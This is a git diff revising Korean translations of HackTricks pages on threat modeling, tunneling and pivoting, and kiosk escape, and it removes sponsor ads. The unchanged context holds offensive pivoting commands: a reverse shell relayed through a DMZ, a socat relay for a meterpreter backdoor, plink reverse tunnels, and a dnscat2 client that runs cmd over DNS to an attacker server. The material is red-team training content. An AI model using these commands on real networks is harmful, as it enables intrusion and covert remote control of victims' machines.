3. **PASTA** (공격 시뮬레이션 및 위협 분석 프로세스): 이는 **위험 중심**의 7단계 방법론입니다. 보안 목표 정의 및 식별, 기술 범위 생성, 애플리케이션 분해, 위협 분석, 취약점 분석 및 위험/분류 평가를 포함합니다.
|
||||||
4. **Trike**: 자산을 방어하는 데 초점을 맞춘 위험 중심적 방법론입니다. **위험 관리** 관점에서 시작하여 해당 맥락과 요구 사항에 따라 위협과 취약점을 살펴봅니다.
|
4. **Trike**: 이는 자산 방어에 중점을 둔 위험 기반 방법론입니다. **위험 관리** 관점에서 시작하여 그 맥락에서 위협과 취약점을 살펴봅니다.
|
||||||
5. **VAST**(시각적, 민첩하고 간단한 위협 모델링): 이 방법론은 Agile 개발 환경에 통합되도록 설계되었습니다. 다른 방법론에서 요소를 결합하고 **위협의 시각적 표현**에 초점을 맞춥니다.
|
5. **VAST** (시각적, 민첩하고 간단한 위협 모델링): 이 접근 방식은 더 접근 가능하도록 하며 민첩한 개발 환경에 통합됩니다. 다른 방법론의 요소를 결합하고 **위협의 시각적 표현**에 중점을 둡니다.
|
||||||
6. **OCTAVE**(운영 중요 위협, 자산 및 취약성 평가): CERT Coordination Center에서 개발된 이 프레임워크는 **특정 시스템이나 소프트웨어가 아닌 조직적 위험 평가**를 위해 고안되었습니다.
|
6. **OCTAVE** (운영상 중요한 위협, 자산 및 취약점 평가): CERT 조정 센터에서 개발한 이 프레임워크는 **특정 시스템이나 소프트웨어보다는 조직의 위험 평가**에 중점을 둡니다.
|
||||||
|
|
||||||
## 도구
|
## 도구
|
||||||
|
|
||||||
위협 모델의 작성 및 관리에 도움이 되는 여러 도구와 소프트웨어 솔루션이 있습니다. 고려해볼 수 있는 몇 가지 도구는 다음과 같습니다.
|
위협 모델의 생성 및 관리를 **지원**할 수 있는 여러 도구 및 소프트웨어 솔루션이 있습니다. 고려해 볼 수 있는 몇 가지는 다음과 같습니다.
|
||||||
|
|
||||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||||
|
|
||||||
사이버 보안 전문가를 위한 고급 크로스 플랫폼 및 다기능 GUI 웹 스파이더/크롤러입니다. Spider Suite는 공격 표면 매핑 및 분석에 사용할 수 있습니다.
|
사이버 보안 전문가를 위한 고급 크로스 플랫폼 및 다기능 GUI 웹 스파이더/크롤러입니다. Spider Suite는 공격 표면 매핑 및 분석에 사용될 수 있습니다.
|
||||||
|
|
||||||
**사용법**
|
**사용법**
|
||||||
|
|
||||||
|
@ -66,7 +52,7 @@ CIA 삼각형은 정보 보안 분야에서 널리 인정받는 모델로, 기
|
||||||
|
|
||||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||||
|
|
||||||
OWASP의 오픈 소스 프로젝트인 Threat Dragon은 시스템 다이어그램 및 위협/완화를 자동으로 생성하는 규칙 엔진을 포함한 웹 및 데스크톱 애플리케이션입니다.
|
OWASP의 오픈 소스 프로젝트인 Threat Dragon은 시스템 다이어그램 작성과 위협/완화 자동 생성을 위한 규칙 엔진을 포함한 웹 및 데스크톱 애플리케이션입니다.
|
||||||
|
|
||||||
**사용법**
|
**사용법**
|
||||||
|
|
||||||
|
@ -74,7 +60,7 @@ OWASP의 오픈 소스 프로젝트인 Threat Dragon은 시스템 다이어그
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
가끔 이렇게 보일 수 있습니다:
|
때때로 이렇게 보일 수 있습니다:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -88,19 +74,19 @@ OWASP의 오픈 소스 프로젝트인 Threat Dragon은 시스템 다이어그
|
||||||
|
|
||||||
4. 모델 생성
|
4. 모델 생성
|
||||||
|
|
||||||
SpiderSuite Crawler와 같은 도구를 사용하여 영감을 받을 수 있으며, 기본 모델은 다음과 같이 보일 수 있습니다.
|
SpiderSuite Crawler와 같은 도구를 사용하여 영감을 얻을 수 있으며, 기본 모델은 다음과 같이 보일 수 있습니다.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
엔티티에 대한 간단한 설명:
|
엔티티에 대한 간단한 설명:
|
||||||
|
|
||||||
* 프로세스(웹 서버 또는 웹 기능과 같은 엔티티 자체)
|
* 프로세스 (웹 서버 또는 웹 기능과 같은 엔티티 자체)
|
||||||
* 액터(웹사이트 방문자, 사용자 또는 관리자와 같은 사람)
|
* 액터 (웹사이트 방문자, 사용자 또는 관리자와 같은 사람)
|
||||||
* 데이터 흐름 라인(상호 작용 표시기)
|
* 데이터 흐름 라인 (상호작용의 지표)
|
||||||
* 신뢰 경계(다른 네트워크 세그먼트 또는 범위)
|
* 신뢰 경계 (다른 네트워크 세그먼트 또는 범위)
|
||||||
* 저장소(데이터가 저장되는 곳인 데이터베이스와 같은 것)
|
* 저장소 (데이터가 저장되는 장소, 예: 데이터베이스)
|
||||||
|
|
||||||
5. 위협 생성(단계 1)
|
5. 위협 생성 (1단계)
|
||||||
|
|
||||||
먼저 위협을 추가할 레이어를 선택해야 합니다.
|
먼저 위협을 추가할 레이어를 선택해야 합니다.
|
||||||
|
|
||||||
|
@ -110,7 +96,7 @@ SpiderSuite Crawler와 같은 도구를 사용하여 영감을 받을 수 있으
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
액터 위협과 프로세스 위협 사이에는 차이가 있음을 염두에 두세요. 액터에 위협을 추가하면 "위조" 및 "부인"만 선택할 수 있습니다. 그러나 예시에서는 프로세스 엔티티에 위협을 추가하므로 위협 생성 상자에서 다음을 볼 수 있습니다:
|
액터 위협과 프로세스 위협 간에는 차이가 있다는 점을 기억하세요. 액터에 위협을 추가하면 "스푸핑"과 "부인"만 선택할 수 있습니다. 그러나 우리의 예에서는 프로세스 엔티티에 위협을 추가하므로 위협 생성 상자에서 다음과 같이 볼 수 있습니다:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -119,18 +105,7 @@ SpiderSuite Crawler와 같은 도구를 사용하여 영감을 받을 수 있으
|
||||||
이제 완성된 모델은 다음과 같이 보일 것입니다. 이것이 OWASP Threat Dragon으로 간단한 위협 모델을 만드는 방법입니다.
|
이제 완성된 모델은 다음과 같이 보일 것입니다. 이것이 OWASP Threat Dragon으로 간단한 위협 모델을 만드는 방법입니다.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||||
|
|
||||||
이것은 Microsoft의 무료 도구로, 소프트웨어 프로젝트의 설계 단계에서 위협을 찾는 데 도움을 줍니다. 이 도구는 STRIDE 방법론을 사용하며 Microsoft 스택에서 개발하는 사람들에게 특히 적합합니다.
|
이는 소프트웨어 프로젝트의 설계 단계에서 위협을 찾는 데 도움을 주는 Microsoft의 무료 도구입니다. STRIDE 방법론을 사용하며, Microsoft 스택에서 개발하는 사람들에게 특히 적합합니다.
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹**을 활용한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**되었는지 확인하는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격을 막는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Nmap tip
|
## Nmap tip
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**ICMP** 및 **SYN** 스캔은 소켓 프록시를 통해 터널링할 수 없으므로 **핑 탐색을 비활성화**해야 합니다 (`-Pn`) 및 **TCP 스캔**을 지정해야 합니다 (`-sT`) 이 작업이 수행되도록.
|
**ICMP** 및 **SYN** 스캔은 소켓 프록시를 통해 터널링할 수 없으므로 **핑 탐색을 비활성화**(`-Pn`)하고 **TCP 스캔**(`-sT`)을 지정해야 합니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **Bash**
|
## **Bash**
|
||||||
|
@ -77,9 +69,9 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||||||
```bash
|
```bash
|
||||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||||
```
|
```
|
||||||
### 리버스 포트 포워딩
|
### Reverse Port Forwarding
|
||||||
|
|
||||||
이것은 DMZ를 통해 내부 호스트에서 귀하의 호스트로 리버스 셸을 얻는 데 유용합니다:
|
내부 호스트에서 DMZ를 통해 귀하의 호스트로 리버스 셸을 얻는 데 유용합니다:
|
||||||
```bash
|
```bash
|
||||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||||
|
@ -90,7 +82,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||||
```
|
```
|
||||||
### VPN-Tunnel
|
### VPN-Tunnel
|
||||||
|
|
||||||
두 장치 모두에서 **루트 권한이 필요합니다** (새 인터페이스를 생성할 것이기 때문입니다) 그리고 sshd 설정은 루트 로그인을 허용해야 합니다:\
|
두 장치 모두에서 **루트 권한이 필요**합니다(새 인터페이스를 생성할 것이기 때문입니다) 그리고 sshd 설정에서 루트 로그인을 허용해야 합니다:\
|
||||||
`PermitRootLogin yes`\
|
`PermitRootLogin yes`\
|
||||||
`PermitTunnel yes`
|
`PermitTunnel yes`
|
||||||
```bash
|
```bash
|
||||||
|
@ -258,7 +250,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||||
```bash
|
```bash
|
||||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||||
```
|
```
|
||||||
### Meterpreter를 통한 SSL Socat
|
### SSL Socat을 통한 Meterpreter
|
||||||
```bash
|
```bash
|
||||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||||
|
@ -304,7 +296,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||||
|
|
||||||
콘솔 PuTTY 버전과 비슷합니다 (옵션은 ssh 클라이언트와 매우 유사합니다).
|
콘솔 PuTTY 버전과 비슷합니다 (옵션은 ssh 클라이언트와 매우 유사합니다).
|
||||||
|
|
||||||
이 바이너리는 피해자에서 실행될 것이며 ssh 클라이언트이므로, 역 연결을 위해 우리의 ssh 서비스와 포트를 열어야 합니다. 그런 다음, 로컬에서만 접근 가능한 포트를 우리의 머신의 포트로 포워딩하려면:
|
이 바이너리는 피해자에서 실행될 것이며 ssh 클라이언트이므로, 역 연결을 위해 ssh 서비스와 포트를 열어야 합니다. 그런 다음, 로컬에서 접근 가능한 포트만 우리 머신의 포트로 포워딩하려면:
|
||||||
```bash
|
```bash
|
||||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||||
|
@ -313,7 +305,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0
|
||||||
|
|
||||||
### Port2Port
|
### Port2Port
|
||||||
|
|
||||||
로컬 관리자여야 합니다 (모든 포트에 대해)
|
로컬 관리자가 되어야 합니다 (모든 포트에 대해)
|
||||||
```bash
|
```bash
|
||||||
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
||||||
# Example:
|
# Example:
|
||||||
|
@ -336,7 +328,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||||
# Load SocksOverRDP.dll using regsvr32.exe
|
# Load SocksOverRDP.dll using regsvr32.exe
|
||||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||||
```
|
```
|
||||||
이제 **`mstsc.exe`**를 사용하여 **RDP**를 통해 **희생자**에 **연결**할 수 있으며, **SocksOverRDP 플러그인이 활성화되었다는** **프롬프트**를 받게 되고, **127.0.0.1:1080**에서 **수신**할 것입니다.
|
이제 **`mstsc.exe`**를 사용하여 **RDP**를 통해 **희생자**에 **연결**할 수 있으며, **SocksOverRDP 플러그인이 활성화되었다는** **프롬프트**를 받을 것입니다. 그리고 **127.0.0.1:1080**에서 **수신**할 것입니다.
|
||||||
|
|
||||||
**RDP**를 통해 **연결**하고 희생자 머신에 `SocksOverRDP-Server.exe` 바이너리를 업로드 및 실행합니다:
|
**RDP**를 통해 **연결**하고 희생자 머신에 `SocksOverRDP-Server.exe` 바이너리를 업로드 및 실행합니다:
|
||||||
```
|
```
|
||||||
|
@ -374,7 +366,7 @@ Domain CONTOSO.COM
|
||||||
Proxy 10.0.0.10:8080
|
Proxy 10.0.0.10:8080
|
||||||
Tunnel 2222:<attackers_machine>:443
|
Tunnel 2222:<attackers_machine>:443
|
||||||
```
|
```
|
||||||
이제, 예를 들어 피해자의 **SSH** 서비스가 포트 443에서 수신 대기하도록 설정하면, 공격자 포트 2222를 통해 연결할 수 있습니다.\
|
이제, 예를 들어 피해자의 **SSH** 서비스가 포트 443에서 수신 대기하도록 설정하면, 공격자는 포트 2222를 통해 연결할 수 있습니다.\
|
||||||
또한 **meterpreter**를 사용하여 localhost:443에 연결하고 공격자가 포트 2222에서 수신 대기할 수 있습니다.
|
또한 **meterpreter**를 사용하여 localhost:443에 연결하고 공격자가 포트 2222에서 수신 대기할 수 있습니다.
|
||||||
|
|
||||||
## YARP
|
## YARP
|
||||||
|
@ -412,7 +404,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
||||||
```
|
```
|
||||||
#### **PowerShell에서**
|
#### **PowerShell에서**
|
||||||
|
|
||||||
PowerShell에서 dnscat2 클라이언트를 실행하려면 [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)를 사용할 수 있습니다:
|
[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)를 사용하여 PowerShell에서 dnscat2 클라이언트를 실행할 수 있습니다:
|
||||||
```
|
```
|
||||||
Import-Module .\dnscat2.ps1
|
Import-Module .\dnscat2.ps1
|
||||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||||
|
@ -426,7 +418,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||||
|
|
||||||
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 SOCKS 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다 (하드코딩됨). 이를 변경하려면 파일을 편집하십시오: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경하십시오. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
|
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 SOCKS 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다 (하드코딩됨). 이를 변경하려면 파일을 편집하십시오: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경하십시오. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
|
||||||
|
|
||||||
## Go의 터널
|
## Go에서의 터널
|
||||||
|
|
||||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||||
|
|
||||||
|
@ -527,14 +519,6 @@ addr: file:///tmp/httpbin/
|
||||||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -545,7 +529,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,85 +1,75 @@
|
||||||
# KIOSK에서 탈출하기
|
# KIOSK에서 탈출하기
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 요령을 공유하세요.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 기반으로 한 검색 엔진으로, 회사나 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 물리적 장치 확인
|
## 물리적 장치 확인
|
||||||
|
|
||||||
| 구성요소 | 동작 |
|
| 구성 요소 | 작업 |
|
||||||
| ------------- | -------------------------------------------------------------------- |
|
| ------------- | ------------------------------------------------------------------ |
|
||||||
| 전원 버튼 | 장치를 다시 켜면 시작 화면이 노출될 수 있음 |
|
| 전원 버튼 | 장치를 껐다가 다시 켜면 시작 화면이 노출될 수 있습니다. |
|
||||||
| 전원 케이블 | 전원이 잠깐 끊겼을 때 장치가 다시 부팅되는지 확인 |
|
| 전원 케이블 | 전원이 잠시 차단될 때 장치가 재부팅되는지 확인하세요. |
|
||||||
| USB 포트 | 더 많은 바로 가기를 가진 물리적 키보드 연결 |
|
| USB 포트 | 더 많은 단축키가 있는 물리적 키보드를 연결하세요. |
|
||||||
| 이더넷 | 네트워크 스캔 또는 스니핑을 통해 추가적인 공격이 가능할 수 있음 |
|
| 이더넷 | 네트워크 스캔 또는 스니핑을 통해 추가적인 악용이 가능할 수 있습니다. |
|
||||||
|
|
||||||
|
|
||||||
## GUI 애플리케이션 내에서 가능한 조치 확인
|
## GUI 애플리케이션 내에서 가능한 작업 확인
|
||||||
|
|
||||||
**일반 대화 상자**는 **파일 저장**, **파일 열기**, 글꼴 선택, 색상 선택 등의 옵션입니다. 대부분의 경우 이러한 옵션을 통해 **전체 탐색기 기능**을 제공합니다. 이는 다음 옵션에 액세스할 수 있다면 탐색기 기능에 액세스할 수 있음을 의미합니다:
|
**일반 대화상자**는 **파일 저장**, **파일 열기**, 글꼴 선택, 색상 선택 등의 옵션입니다. 대부분은 **전체 탐색기 기능을 제공합니다**. 이는 이러한 옵션에 접근할 수 있다면 탐색기 기능에 접근할 수 있음을 의미합니다:
|
||||||
|
|
||||||
* 닫기/다른 이름으로 저장
|
* 닫기/다른 이름으로 닫기
|
||||||
* 열기/다른 프로그램으로 열기
|
* 열기/다른 프로그램으로 열기
|
||||||
* 인쇄
|
* 인쇄
|
||||||
* 내보내기/가져오기
|
* 내보내기/가져오기
|
||||||
* 검색
|
* 검색
|
||||||
* 스캔
|
* 스캔
|
||||||
|
|
||||||
다음을 확인해야 합니다:
|
다음 작업을 수행할 수 있는지 확인해야 합니다:
|
||||||
|
|
||||||
* 파일 수정 또는 새 파일 생성
|
* 파일 수정 또는 새 파일 생성
|
||||||
* 심볼릭 링크 생성
|
* 심볼릭 링크 생성
|
||||||
* 제한된 영역에 액세스
|
* 제한된 영역에 접근
|
||||||
* 다른 앱 실행
|
* 다른 앱 실행
|
||||||
|
|
||||||
### 명령 실행
|
### 명령 실행
|
||||||
|
|
||||||
어떤 경우에는 **`열기`** 옵션을 사용하여 어떤 종류의 셸을 열거나 실행할 수 있습니다.
|
아마도 **`Open with`** 옵션을 사용하여 어떤 종류의 셸을 열거나 실행할 수 있습니다.
|
||||||
|
|
||||||
#### Windows
|
#### Windows
|
||||||
|
|
||||||
예를 들어 _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ 여기에서 명령을 실행할 수 있는 더 많은 이진 파일을 찾을 수 있습니다: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
예를 들어 _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ 명령을 실행하는 데 사용할 수 있는 더 많은 바이너리를 찾으려면 여기에서 확인하세요: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||||
|
|
||||||
#### \*NIX \_\_
|
#### \*NIX \_\_
|
||||||
|
|
||||||
_bash, sh, zsh..._ 여기에서 더 많은 정보를 찾을 수 있습니다: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
_bash, sh, zsh..._ 더 많은 정보는 여기에서 확인하세요: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||||
|
|
||||||
## Windows
|
## Windows
|
||||||
|
|
